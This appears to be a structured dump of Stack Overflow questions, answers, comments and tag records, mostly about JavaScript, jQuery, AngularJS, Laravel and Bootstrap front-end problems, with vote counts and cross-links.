has text: `$("#preview img")` is trying to select an image that's a descendant of an element with the ID of "preview". In your code example you show us an image *with* the ID of "preview" (` `), so that selector can't possibly work.
type: Comment

http://stackoverflow.com/a/25810276
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25809275
has body: window.addEventListener("load",functioname(),false) should be basically the same. EDIT: Just "load" in .addEventListener.

http://stackoverflow.com/comment/40374826
has text: Man Programmer, I added a fiddle. Maurizio, I'm not entirely sure what you mean by that
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25810844

http://stackoverflow.com/q/25757697
tagged with: angularjs
type: UnansweredQuestion
has title: Laravel Routing and Angular JS with UI router
tagged with: php
answer count: 0
has comment: http://stackoverflow.com/comment/40278813
has comment: http://stackoverflow.com/comment/40280374
type: Question
has body: I am building a simple Data Logging WEB APP using Laravel and Angular JS but I am having a problem with my routing. Here is my current Route Route::group(array('before'=&gt;'auth','prefix'=&gt;'dashboard'), function(){ Route::get('/', array('as'=&gt;'dashboard.index','uses'=&gt;'DashboardController@index')); Route::get('/devices/{id}', array('as'=&gt;'devices','uses'=&gt;'DashboardController@devices')); }); Route::group(array('prefix'=&gt;'api'),function() { Route::resource('users', 'UsersController',array('except'=&gt;array('edit','create'))); Route::resource('devices', 'DevicesController',array('except'=&gt;array('edit','create'))); } Everything is OK when I am at the index page but using the same templates, when I navigate to /device/{id}, I get this error message Failed to load resource: the server responded with a status of 404 (Not Found) http://arduino.dev/dashboard/devices/app/views/dashboard/index.html It is concatenating dashboard/devices to the ui-router Here is my app.config app.config(function($stateProvider,$urlRouterProvider){ $urlRouterProvider.otherwise('/'); $stateProvider .state('devices',{ url:'/', resolve:{ devices:function(Device){ return Device.query().$promise; } }, templateUrl:'app/views/dashboard/index.html', controller:"DeviceController" }) .state('devices.create',{ url:'/create', templateUrl:'app/views/dashboard/device_create.html', controller:"DeviceController" }) I want to separate the device/{id} in another view to make another SPA for easier maintenance. I tried /foo, /bar but the same error occurs. Thanks you so much.
tagged with: laravel-4
tagged with: javascript
score: 0

http://stackoverflow.com/q/25818814
linked to: http://stackoverflow.com/q/24765155
tagged with: twitter-bootstrap
tagged with: css
accepted answer: http://stackoverflow.com/a/25839736
type: AnsweredQuestion
has body: I am currently creating a personal website and I want a full height header when the website is loaded. This header should animate its height when the user scrolls down and the content below the header should move synchronously to the animation of the header. And the header should be fixed positioned at the end. I got everything working, beside the fixed position. It is flickering when the animation is finished. I created a fiddle, so you will understand what I mean more easy. http://jsfiddle.net/30j5njrw/10/` Thanks in advance for any help Regards Edit: I tried several things so far, like adding position fixed from the beginning to the header, or trying to position the header content via jQuery on scroll...but I never got the result I wish. Edit2: If someone knows a site with a similar effect, please share it. Edit3: Since no one got my problem so far, i will try to describe it more detailed. I have a header and a content area. The header is set to full height of the viewport when the page loads. The header uses static css positioning at this point, so the content area is correctly positioned below the header outside of the viewport. If I scroll down, the header shrinks and some css of the header content is animated. The content area now must move up with the arrow under the header and the header should be fixed when the animation is finished. All your examples so far just don't care about the flow of the content below the header. Edit4: haxxxton answered the question and the solution looks even better than I actually wanted it. So I will reward him with the bounty when the 24 hours are over. Edit5 Actually haxxxtons answer didn't fix my problem. I was so amazed that I have overseen some problems. The arrow must be part of the content section, since there will be more content sections below on the final site. I came up with another solution, but I got stuck either. Now I don't think that this is even possible to do. Here is an updated version of my fiddle: http://js…
score: 1
upvote count: 1
type: Question
answer count: 2
tagged with: javascript
linked to: http://stackoverflow.com/q/16442016
tagged with: jquery
has title: Shrink header on scroll and move content below synchronously
possible better answer: http://stackoverflow.com/a/25839512
has answer: http://stackoverflow.com/a/25839736
has answer: http://stackoverflow.com/a/25839512
tagged with: http://stackoverflow.com/tag/html
downvote count: 0
favorite count: 0

http://stackoverflow.com/comment/40201396
comment on: http://stackoverflow.com/a/25716306
score: 0
type: AnswerComment
has text: Thank you so much for this! I'm enlightened! :) How about the filtering part? Can I do it as: ?
type: Comment

http://stackoverflow.com/a/25779822
has comment: http://stackoverflow.com/comment/98642904
upvote count: 11
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25778739
type: Answer
has body: I ended up using the onInitialize callback to load the JSON values stored in a data-* field. You can see it in action here in this jsfiddle. &lt;input class="authorsearch" id="Authors" name="Authors" type="text" value="" data-selectize-value='[{"AuthorId":1,"AuthorName":"Test"},{"AuthorId":2,"AuthorName":"Test2"}]'/&gt; Basically it parses the data-selectize-value value and then adds the option(s) to the selectize then adds the items themselves. onInitialize: function() { var existingOptions = JSON.parse(this.$input.attr('data-selectize-value')); var self = this; if(Object.prototype.toString.call( existingOptions ) === "[object Array]") { existingOptions.forEach( function (existingOption) { self.addOption(existingOption); self.addItem(existingOption[self.settings.valueField]); }); } else if (typeof existingOptions === 'object') { self.addOption(existingOptions); self.addItem(existingOptions[self.settings.valueField]); } } My solution does presume my JSON object is formed correctly, and that it's either a single object or an object Array, so it may or may not be appropriate for someone elses needs. So it parses: [{"AuthorId":1,"AuthorName":"Test"}, {"AuthorId":2,"AuthorName":"Test2"}] To: Based of course on my selectize settings in my original post above.
answers question: http://stackoverflow.com/q/25778739
downvote count: 0
score: 11

http://stackoverflow.com/a/25774665
has comment: http://stackoverflow.com/comment/40309250
has comment: http://stackoverflow.com/comment/40309599
answers question: http://stackoverflow.com/q/25774628
score: 18
has body: What am I missing? A property name is not an identifier, it can use any identifier name. From the spec on Property Accessors: MemberExpression : MemberExpression . IdentifierName CallExpression : CallExpression . IdentifierName and identifiers: Identifier :: IdentifierName but not ReservedWord You can use any arbitrary identifer name (but not things like integers) in a dot property access, but you can't use those that are [reserved] keywords as identifier, e.g. in a variable or function name. However, this did change with ES5, back in EcmaScript 3 property names were required to be identiers. That's why you still need to use the bracket notation for keywords if you want to support legacy browsers; and it's the reason why your linter complains about it. Same holds for property names in object literals.
has comment: http://stackoverflow.com/comment/40309187
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40309411
upvote count: 18
has comment: http://stackoverflow.com/comment/40309220
type: Answer
has comment: http://stackoverflow.com/comment/40330426
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25774628

http://stackoverflow.com/comment/40315324
comment on: http://stackoverflow.com/a/25774864
type: Comment
has text: If you are going to use this approach, I recommend nesting each ternary operation so that it's readable. Ultimately, you're probably better with an if/else if/else once you get beyond a couple of conditions.
score: 0
type: AnswerComment

http://stackoverflow.com/a/25818758
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/40406534
answers question: http://stackoverflow.com/q/25816934
upvote count: 1
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25816934
has body: This is actually a simple error and you'll kick yourself when you see what's wrong. Swap these two lines: app.controller('carController', ['$scope', '$http', carController]); }; to read: }; app.controller('carController', ['$scope', '$http', carController]); You are defining carController as a var near the top of your example above. But then you're trying to use it from INSIDE itself. You just need to move this line of code to outside the controller. By the way, your Plnkr doesn't work because of an additional mistake but I'm assuming this was just a cut/paste issue - you're asking for js/carController.js but in Plunkr that file is at the top level. You had one or two other small issues that I fixed up in this Plnkr. The Makes selector is now working. Models is not but it's because the API is returning an empty array for the query you're using - I don't know this API so you'll need to Inspect the network request and fix anything that's wrong with it. http://plnkr.co/edit/BGY76tIXhprPWgt5aphx?p=preview
type: Answer
has comment: http://stackoverflow.com/comment/40408596

http://stackoverflow.com/comment/40325500
score: 1
comment on: http://stackoverflow.com/a/25782268
has text: @hitesh this doesn't make sense. You can only upload it to a server you control and then you would process it depending on your operating system. Please stop trying to get people to do your work for you. You are being a help-vampire.
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/40498564
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25860738
has text: Thank you very much for the detailed reply and you are correct, I am very new to HTML/javascript and am totally self taught. I understand your idea about the nested for loops but am unclear about how I would know the upper bound for j. This number will be different for each album
type: AnswerComment

http://stackoverflow.com/comment/41338127
type: Comment
comment on: http://stackoverflow.com/a/25806160
has text: I tried your edit. The alert never happens. But in the developer tools I can see the response from the server, is fine.
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40254287
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25744899
has text: I can't. The exercise forbids me to do this. I must only expose one function in my module.
type: AnswerComment

http://stackoverflow.com/comment/40277423
has text: Yes, Jquery is included. Actually I see (dev tools) jquery-1.3.2.js and jquery.min.js. I'll see what I can about it.
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/25751279

http://stackoverflow.com/a/27174296
answers question: http://stackoverflow.com/q/25850043
has body: I finally figured out a way to do it... definitely not the cleanest / nicest way of doing it, but it works at least: When the mouse leaves the the box of the jit canvas I simulate a complete mouse-out event and send it to jit. By using this code "How to simulate a mouse click using JavaScript?" like this: $('#infovis').mouseleave(function(e) { simulate($('canvas')[0], 'mouseup') }); it stops when the mouse exists the info-vis-&lt;div&gt; Hopefully that saves somebody some time in the future! Cheers, Corelgott
score: 0
type: Answer

universal-analytics
tag name: universal-analytics
type: Tag
tags question: http://stackoverflow.com/q/25787867
tags question: http://stackoverflow.com/q/25804150

http://stackoverflow.com/q/25830524
has comment: http://stackoverflow.com/comment/40410928
has comment: http://stackoverflow.com/comment/40411026
has title: Call a php function from js - both are in separate files
tagged with: javascript
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40410942
has comment: http://stackoverflow.com/comment/40410908
duplicate of: http://stackoverflow.com/q/13840429
tagged with: jquery
has answer: http://stackoverflow.com/a/25830562
favorite count: 0
type: Question
tagged with: php
score: -1
has comment: http://stackoverflow.com/comment/40410998
has answer: http://stackoverflow.com/a/25830804
has body: File structure is functions/functions.php function name($name){ return $name; } HTML file <?php include("./functions/functions.php") ?> click me JS/custom.js $("#btn").click(function(){ var name = <?php echo name("Alex");?> alert(name); }); This is not working, can someone please tell me what am I doing wrong? I'm getting : 'Uncaught SyntaxError: Unexpected token < ' in the console. -- Edit : Error disappears after I made the change var name = '<?php echo name("Alex");?>'; However, I'm still not gettion the alert.
answer count: 2
downvote count: 2
linked to: http://stackoverflow.com/q/13840429
upvote count: 1
has comment: http://stackoverflow.com/comment/40411027
has comment: http://stackoverflow.com/comment/40411051

http://stackoverflow.com/a/25780257
score: 4
has comment: http://stackoverflow.com/comment/49410692
has comment: http://stackoverflow.com/comment/60419867
type: AcceptedAnswer
downvote count: 1
has comment: http://stackoverflow.com/comment/43244792
upvote count: 5
type: Answer
accepted answer of: http://stackoverflow.com/q/25771560
has body: On the fourth day of struggling a simple answer revealed. I've missed one dependency. The chain: RedmedAdmin.store.Referals -> RedmedAdmin.model.Referal -> RedmedAdmin.model.redmed.RadioAppBase. As I provided the archive, I will list class RedmedAdmin.model.redmed.RadioAppBase here (working version): Ext.define 'RedmedAdmin.model.redmed.RadioAppBase', extend: 'Ext.data.Model' requires: ['Ext.data.identifier.Uuid', 'Ext.data.proxy.Rest'] identifier: 'uuid' fields: [{ name: 'id' type: 'string' }] schema: namespace: 'RedmedAdmin.model.redmed.radioapp' proxy: type: 'rest' url: 'http://10.0.29.140:6543/api/rest/{entityName:lowercase}' reader: type: 'json' rootProperty: '{entityName:lowercase}' listeners: 'exception': (request, operation, eOpts ) -&gt; Ext.log {level: 'error'}, "Data request to #{request.url} failed. Reply: #{operation.responseText}" It defines a schema for all children. The schema uses rest proxy (type: 'rest'). It wasn't included in the broken version. Only Ext.data.identifier.Uuid was listed in requires.
answers question: http://stackoverflow.com/q/25771560
has comment: http://stackoverflow.com/comment/49081276

http://stackoverflow.com/comment/40337370
type: Comment
has text: Yeah, I was just showing how ridiculous the regex would be!! :)
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/25790223

sharepoint
tags question: http://stackoverflow.com/q/25838133
tag name: sharepoint
tags question: http://stackoverflow.com/q/25786245
type: Tag

http://stackoverflow.com/q/25847079
has comment: http://stackoverflow.com/comment/40440976
score: 0
has body: I want to declare a Function inside a Function. I'm doing it like that: var expr = "'use strict'; console.log('a')"; var f = Function('"use strict";var t = Function('+expr+');'); f(); I get the following error: Uncaught SyntaxError: Unexpected token ';' Heres the link to jsbin I need to be able to create a function with a Function inside a Function, not nested functions nor eval are acceptable here. I noticed, that anything in the expr variable is treated incorrectly. I mean whatever code I put there. So I cant put even a variable delacration inside. Btw, if I go with single statement, like console.log('a'); it works fine and produce the expected a in the console. The reason I need to use Function is that I want to check how strict mode works. As according to ecmascript spec (10.1.1. Strict Mode Code) theres a case that code is in a strict mode if its starting with a prologue of "use strict" or inside a strict mode. So I want to check how Function inside a Function will behave in terms of strict code. As I found out Function inside Function doesnt have the same strict mode on. Heres the jsbin with an example. variable is not declared and its fine. Try to add "use strict" and you see an error. For more details please have a look at the last point in this list
answer count: 1
has comment: http://stackoverflow.com/comment/40440853
has comment: http://stackoverflow.com/comment/40441228
favorite count: 0
has comment: http://stackoverflow.com/comment/40441154
has comment: http://stackoverflow.com/comment/40441332
has comment: http://stackoverflow.com/comment/40440905
type: AnsweredQuestion
upvote count: 2
has comment: http://stackoverflow.com/comment/40441469
downvote count: 2
has comment: http://stackoverflow.com/comment/40441403
type: Question
has answer: http://stackoverflow.com/a/25847312
accepted answer: http://stackoverflow.com/a/25847312
has title: how to define a Function inside a Function in javascript?
tagged with: javascript
has comment: http://stackoverflow.com/comment/40440875

http://stackoverflow.com/q/25724109
has answer: http://stackoverflow.com/a/25726010
accepted answer: http://stackoverflow.com/a/25726010
favorite count: 0
possible better answer: http://stackoverflow.com/a/25724381
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40215821
has comment: http://stackoverflow.com/comment/40216280
has title: how to add a two different popup using "jQuery Popup Overlay" plugin?
has body: I'm new to jquery. So can you pls help me to add two different popup with two different button using this jQuery plugin? jQuery Popup Overlay Open popup Open popup my_popup Close sam Close by this we can add one one popup..
type: Question
has comment: http://stackoverflow.com/comment/40215812
answer count: 2
has answer: http://stackoverflow.com/a/25724381
has comment: http://stackoverflow.com/comment/40215756
has comment: http://stackoverflow.com/comment/40215815
tagged with: javascript
tagged with: jquery
upvote count: 2
score: 0
downvote count: 2

http://stackoverflow.com/a/25748944
answers question: http://stackoverflow.com/q/25734019
downvote count: 0
has body: So far this is the answer I found to my question: I tried several searches on this topic but was unable to find other examples (besides Flowdock) of current products using bacon.js. From this survey on JS libraries it seems like bacon.js is not very widely used as it is not even considered on the list. On the way to search for other FRP frameworks I found there are libraries just for Reactive Programming (Although it sounds obvious, I was initially unaware of the difference between FRP and just RP. You can check this on Quora). This is the list of frameworks for FRP: Bacon.js Kefir (a Bacon clone with better performance) Flapjax Elm (Seems like is developed by Prezi. Actually it is a language in itself which compiles to HTML, CSS and JS) This is the list of RP frameworks: React (Developed by Facebook &amp; Instagram) RxJS (There is RxJava developed by Netflix) Ractive.js (Originally developed at theguardian.com)
score: 5
type: AcceptedAnswer
upvote count: 5
accepted answer of: http://stackoverflow.com/q/25734019
has comment: http://stackoverflow.com/comment/40263958
type: Answer

http://stackoverflow.com/comment/40446564
type: AnswerComment
comment on: http://stackoverflow.com/a/25776663
score: 0
type: Comment
has text: Is your array of 16-bit ints signed or unsigned?

http://stackoverflow.com/comment/54063116
type: QuestionComment
has text: I have noticed this problem too. Having a scrollbar in IE does not work, the div will close because the event.target is the node when trying to scroll
comment on: http://stackoverflow.com/q/25849264
score: 0
type: Comment

http://stackoverflow.com/q/25773732
has comment: http://stackoverflow.com/comment/40307372
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/40307422
has title: I need to map a JSON string received from a server to a specific Javascript object
has answer: http://stackoverflow.com/a/25773851
tagged with: knockout.js
type: Question
answer count: 1
tagged with: javascript
score: 0
has body: All, I have the following code: $.ajax({ url: '@Url.Action("GetMerchantUsers", "Merchant")', dataType: 'json', success: function (json) { var mappedTasks = $.map(JSON.parse(json), function (item) { return new Task(item) }); self.tasks(mappedTasks); } }); This calls an MVC controller that returns a list of objects from a JsonResult method. It works totally fine. However, I need to rewrite this method because there will never be more than one Task being returned from the server. When I return one task from the server, however, the .NET JsonResult method doesn't put '[' and ']' at the beginning and end of the json, so $.map() sees the PROPERTIES of the object as a collection, but I just want to map one object returned from the server to a task observable instead of multiple tasks to a tasks observable. I'm new to knockout...how do I map a single Json object, like i'm doing above for a collection. I'll be happy to provide more info if needed! Also, I've already mapped the object to a generic JavaScript type, but I want to map it to my Task type specifically.
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40307324

http://stackoverflow.com/a/25847828
has body: You need to detect the userAgent, as seen here : What is the best way to detect a mobile device in jQuery? In your code : &lt;script&gt; $(function() { var windowWidth = $(window).width(); if(windowWidth &gt; 1000 &amp;&amp; !(/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent))){ skrollr.init({ forceHeight: false }); }}); &lt;/script&gt;
score: 1
has comment: http://stackoverflow.com/comment/40442436
upvote count: 1
answers question: http://stackoverflow.com/q/25847694
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25847694
type: Answer

http://stackoverflow.com/q/25725081
has comment: http://stackoverflow.com/comment/40217580
has answer: http://stackoverflow.com/a/25725330
has comment: http://stackoverflow.com/comment/40217715
downvote count: 0
has comment: http://stackoverflow.com/comment/40217381
score: 1
has comment: http://stackoverflow.com/comment/40217452
has comment: http://stackoverflow.com/comment/40217862
favorite count: 0
accepted answer: http://stackoverflow.com/a/25725330
has comment: http://stackoverflow.com/comment/40217973
tagged with: angularjs
has comment: http://stackoverflow.com/comment/40217772
has comment: http://stackoverflow.com/comment/40218048
has comment: http://stackoverflow.com/comment/40217577
has comment: http://stackoverflow.com/comment/40220813
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40217930
has title: Set a property of scope object dynamically in Angular Js
possible better answer: http://stackoverflow.com/a/25726348
upvote count: 1
has answer: http://stackoverflow.com/a/25726348
type: Question
has comment: http://stackoverflow.com/comment/40218168
has body: I am writing a generic method to get some data from a service and populate in the dynamic property name passed in the function. the value does gets assigned to the text box using angular.element assignment but does not gets populated in the model. following is the code. &lt;div class="input-group"&gt; &lt;input class="form-control" id="ImgRollover" name="ImgRollover" ng-model="contentEntity.imgRollover" placeholder="" readonly="readonly" type="text"&gt; &lt;div class="input-group-btn"&gt; &lt;button class="btn" type="button" ng-click="pickImage('contentEntity.imgRollover')"&gt; &lt;/button&gt; &lt;/div&gt; here is my controller method which internally uses a service which sends back a promise $scope.pickImage = function (attrModel) { ImageSelector.selectImage().then( function (value) { //angular.element("#" + attrModel).val(value); $scope[attrModel] = value; }); }; attrModel is a property name in the scope object contentEntity but the name of the property is known ONLY dynamically via the method parameter.
has comment: http://stackoverflow.com/comment/40217417
has comment: http://stackoverflow.com/comment/40217640
tagged with: javascript
has answer: http://stackoverflow.com/a/25725830
has comment: http://stackoverflow.com/comment/40223180
has comment: http://stackoverflow.com/comment/40217595
tagged with: angularjs-scope
has comment: http://stackoverflow.com/comment/40217689
has comment: http://stackoverflow.com/comment/40217607
answer count: 3

twitter-bootstrap
tags question: http://stackoverflow.com/q/25855229
tags question: http://stackoverflow.com/q/25713015
tags question: http://stackoverflow.com/q/25717480
tags question: http://stackoverflow.com/q/25745980
tags question: http://stackoverflow.com/q/25803667
tags question: http://stackoverflow.com/q/25722703
tags question: http://stackoverflow.com/q/25787598
tag name: twitter-bootstrap
tags question: http://stackoverflow.com/q/25791240
tags question: http://stackoverflow.com/q/25734740
tags question: http://stackoverflow.com/q/25809068
tags question: http://stackoverflow.com/q/25777597
tags question: http://stackoverflow.com/q/25740022
tags question: http://stackoverflow.com/q/25834099
tags question: http://stackoverflow.com/q/25778388
tags question: http://stackoverflow.com/q/25805317
tags question: http://stackoverflow.com/q/25826069
tags question: http://stackoverflow.com/q/25849904
tags question: http://stackoverflow.com/q/25823455
tags question: http://stackoverflow.com/q/25713051
tags question: http://stackoverflow.com/q/25821470
tags question: http://stackoverflow.com/q/25779355
tags question: http://stackoverflow.com/q/25786742
tags question: http://stackoverflow.com/q/25840911
tags question: http://stackoverflow.com/q/25762126
tags question: http://stackoverflow.com/q/25857893
tags question: http://stackoverflow.com/q/25861452
tags question: http://stackoverflow.com/q/25775352
tags question: http://stackoverflow.com/q/25803500
tags question: http://stackoverflow.com/q/25767494
tags question: http://stackoverflow.com/q/25775738
tags question: http://stackoverflow.com/q/25872634
tags question: http://stackoverflow.com/q/25785498
tags question: http://stackoverflow.com/q/25868553
tags question: http://stackoverflow.com/q/25773801
tags question: http://stackoverflow.com/q/25814303
tags question: http://stackoverflow.com/q/25857945
tags question: http://stackoverflow.com/q/25738177
tags question: http://stackoverflow.com/q/25832735
tags question: http://stackoverflow.com/q/25737216
tags question: http://stackoverflow.com/q/25719334
tags question: http://stackoverflow.com/q/25833062
tags question: http://stackoverflow.com/q/25867251
tags question: http://stackoverflow.com/q/25865940
tags question: http://stackoverflow.com/q/25736084
tags question: http://stackoverflow.com/q/25717674
tags question: http://stackoverflow.com/q/25858319
tags question: http://stackoverflow.com/q/25807834
tags question: http://stackoverflow.com/q/25726595
tags question: http://stackoverflow.com/q/25767590
tags question: http://stackoverflow.com/q/25808110
tags question: http://stackoverflow.com/q/25713354
tags question: http://stackoverflow.com/q/25789458
tags question: http://stackoverflow.com/q/25744061
tags question: http://stackoverflow.com/q/25807689
type: Tag
tags question: http://stackoverflow.com/q/25809026
tags question: http://stackoverflow.com/q/25741137
tags question: http://stackoverflow.com/q/25871163
tags question: http://stackoverflow.com/q/25791178
tags question: http://stackoverflow.com/q/25778744
tags question: http://stackoverflow.com/q/25819290
tags question: http://stackoverflow.com/q/25847723
tags question: http://stackoverflow.com/q/25716805
tags question: http://stackoverflow.com/q/25821207
tags question: http://stackoverflow.com/q/25772592
tags question: http://stackoverflow.com/q/25794744
tags question: http://stackoverflow.com/q/25732161
tags question: http://stackoverflow.com/q/25839534
tags question: http://stackoverflow.com/q/25716933
tags question: http://stackoverflow.com/q/25812022
tags question: http://stackoverflow.com/q/25809918
tags question: http://stackoverflow.com/q/25861611
tags question: http://stackoverflow.com/q/25734881
tags question: http://stackoverflow.com/q/25777457
tags question: http://stackoverflow.com/q/25767950
tags question: http://stackoverflow.com/q/25802935
tags question: http://stackoverflow.com/q/25866189
tags question: http://stackoverflow.com/q/25824074
tags question: http://stackoverflow.com/q/25800171

http://stackoverflow.com/q/25776676
has comment: http://stackoverflow.com/comment/50848465
has title: Link SVG animation model with Javascript
answer count: 1
tagged with: synchronization
favorite count: 0
tagged with: http://stackoverflow.com/tag/svg
has body: Is it possible to link SVG animation model with Javascript custom processing? Specifically, SVG animation has an internal clock which synchronizes all animation elements. Besides, there are other ways to do animation with Javascript (e.g. with setTimeout, setInternval). I wonder if there are any ways to link SVG animation with Javascript code, so that we can use Javascript to do some custom animation not supported by SVG SMIL but still able to be harmonized with SVG animation model. Appreciate any ideas. Cheers, Bruce
type: UnansweredQuestion
tagged with: animation
tagged with: smil
upvote count: 1
downvote count: 1
type: Question
has answer: http://stackoverflow.com/a/66148434
tagged with: javascript
score: 0
linked to: http://stackoverflow.com/q/30965580

http://stackoverflow.com/comment/40474729
type: Comment
comment on: http://stackoverflow.com/a/25863983
type: AnswerComment
has text: as i checked the problem is in the controller
score: 0

http://stackoverflow.com/comment/40435371
type: AnswerComment
has text: If there's no solution in CSS for such situation, then suggest me in which way should I return the class name from server?
comment on: http://stackoverflow.com/a/25843714
type: Comment
score: 0

http://stackoverflow.com/a/25789695
has comment: http://stackoverflow.com/comment/40365759
has comment: http://stackoverflow.com/comment/40365852
downvote count: 0
has comment: http://stackoverflow.com/comment/40337709
has body: Yes, you are correct. Basically, if you attach an onValue handler to a stream, that is the stream you want to attach the onError handler to too. Something like this: var files = ["a.txt", "b.txt", "c.txt"] var filenames = Bacon.fromArray(files) var urls = filenames.flatMap(readFile) var responses = url.flatMap(doHttpRequest) responses.onValue(writeToFile) responses.onError(handleError) // readFile &amp; doHttpRequest are async, so they return a stream // that's why we need the flatMap above
type: Answer
upvote count: 1
score: 1
answers question: http://stackoverflow.com/q/25758419

http://stackoverflow.com/comment/40353252
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25796806
has text: I found the cause of the prob: stripTrailingSlashes: false only works from 1.3+ and I am running 1.2.X and I had a typo in the url. The url above is correct.
score: 0

http://stackoverflow.com/q/25854957
tagged with: javascript
score: 0
has title: Javascript function for select menu not working as intended to in some browsers
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25871313
type: Question
has body: I' trying to write function that will fill spaces provided with elements from predefined arrays when I select them from dropdown menu. Code here only works in firefox, but not in other browsers(IE or Chrome - I tested with them). A don't know what is wrong with this. Zadatak Košarkaška reprezentacija Srbije Reprezentacije Grupa A Srbija Argentina Grupa B SAD Slovenija Grupa C Turska Grčka Grupa D Litvanija Španija Francuska Odaberite košarkaša: Miloš Teodosić Nenad Krstić Marko Kešelj Podaci o košarkašu: Ime: Rođen: Visina: Skokova: Prezime: Klub: pozicija: plejmejker bek krilo centar Asistencija: Prosek poena: Svjetsko prvenstvo u košarci, septembar 2014
answer count: 1

http://stackoverflow.com/comment/40376080
has text: I linked another article in the comment that focuses on dealing with IE specifically and it has a whole section at the bottom, mentioning shivs, polly-fills and so on. Hope that will help somehow.
comment on: http://stackoverflow.com/q/25811526
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25724043
has comment: http://stackoverflow.com/comment/40215222
upvote count: 3
tagged with: twitter-bootstrap
type: AnsweredQuestion
score: 3
has body: I am using Bootstrap for css and I need help in fading out a div when the class 'hidden' is toggled. My site structure is pretty simple: there are 3 main container divs: search, wait and show. Essentially, show is the lowest positioned one, wait is on top of show and search is at the very top. All I need is for search to fade out over 3 seconds when this Jquery event is fired: $('.search').toggleClass('hidden'); I don't want it to just instantly disappear. Same with the wait div. I have tried using $(".searchBar").fadeOut("slow", function() { $('.searchBar').toggleClass('hidden'); }); But it doesn't work. The fadeout/fadein don't seem to have any visible effect. Since the hidden class is already in bootstrap, I do not want to create another custom one; there's got to be a way to accomplish this.
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25724146
type: Question
answer count: 2
possible better answer: http://stackoverflow.com/a/25724076
has answer: http://stackoverflow.com/a/25724076
downvote count: 0
tagged with: jquery
has title: Make bootstrap div fade out when adding 'hidden' class
favorite count: 0
tagged with: http://stackoverflow.com/tag/html
tagged with: css
has answer: http://stackoverflow.com/a/25724146

http://stackoverflow.com/q/25728334
tagged with: zurb-foundation
downvote count: 0
possible better answer: http://stackoverflow.com/a/25728461
tagged with: javascript
tagged with: jquery
has body: I'm working with the off-canvas script from Foundation and it isn't working out of the box (of course) when I try to use the submenu options. I realized it wasn't adding a class (move-right) to the ul's of the li's in the off-canvas navigation. So I wrote a script to add that class which can be found here: jQuery(document).ready(function() { jQuery('ul.off-canvas-list li a').click(function() { jQuery('ul.off-canvas-list li ul.left-submenu').addClass('move-right'); }); }); And here is how my HTML is structured: Name 1 Back Name 2 Back Name 3 Back ...etc My problem is that my script is adding the class to ALL ul.left-submenu's instead of just the one directly under the li that I click on. I can't figure out how to add the class 'move-right' to only the 'ul.left-submenu' child of the parents li that I clicked on and remove the 'move-right' class from the other 'ul.left-submenu' I thought maybe using the sibling() selector, but I wasn't quite sure how to implement that into my script. Any and all help is greatly appreciated. Another issue has arose and that is being able to close the opened "ul.left-submenu" by clicking on the "Back " which comes before the other li's in each ul.left-submenu. I updated the HTML above to include the "" and also have provided the script below that I tried using that hasn't worked. jQuery('li.back').on('click', function() { console.log('close submenu'); jQuery('ul.left-submenu').removeClass('move-right'); });
has answer: http://stackoverflow.com/a/25728461
favorite count: 0
has answer: http://stackoverflow.com/a/25728399
has title: How to Remove a Class from a Sibling of a Parent
answer count: 5
has answer: http://stackoverflow.com/a/25728517
tagged with: http://stackoverflow.com/tag/html
tagged with: css
upvote count: 1
accepted answer: http://stackoverflow.com/a/25728399
has answer: http://stackoverflow.com/a/25728648
type: AnsweredQuestion
score: 1
has answer: http://stackoverflow.com/a/25729802
type: Question

http://stackoverflow.com/comment/40354844
has text: What minifier are you using? Most minifiers don't rename object properties.
type: QuestionComment
comment on: http://stackoverflow.com/q/25799198
score: 0
type: Comment

http://stackoverflow.com/comment/40454969
has text: I realize that node.js has module that handle authentication. My issue is that we don't want a seperate authentication for this application. Our users are already using basic auth to log in and I want to be able to use that username / password entered in to sign into this app.
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/25854456

http://stackoverflow.com/a/25796064
has body: It looks like you have the right steps, get the inputs: $sku = Input::get('sku'); $retailer = Input::get('retailer'); $dates = Input::get('obs'); $sales= Input::get('sales'); Buy now you try to forcibly insert them into the database. Why not use eloquent for database insertion: (Keep in mind you'd need to have a model for the charts table called Chart.php) $chart = new Chart; $chart-&gt;sku = $sku; $chart-&gt;retailer = $retailer; $chart-&gt;dates = $dates; $chart-&gt;save(); That being said, I do realize that you're trying to pass arrays to the database, so that might take some experimentation. If you can't figure out what's (attempting) being passed to the database, you can always use: die($variable); To check what's up. Good luck!
has comment: http://stackoverflow.com/comment/40375259
downvote count: 0
answers question: http://stackoverflow.com/q/25795596
has comment: http://stackoverflow.com/comment/40349701
type: Answer
upvote count: 1
has comment: http://stackoverflow.com/comment/40349546
score: 1
has comment: http://stackoverflow.com/comment/40349426

http://stackoverflow.com/a/25834295
accepted answer of: http://stackoverflow.com/q/25834202
score: 2
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/25834202
type: Answer
has body: If I correctly understand what you need, this is your solution: function millisecondsToHours(amountMS) { return amountMS / 3600000; }
upvote count: 2

http://stackoverflow.com/comment/40473183
comment on: http://stackoverflow.com/q/25864706
score: 0
type: Comment
type: QuestionComment
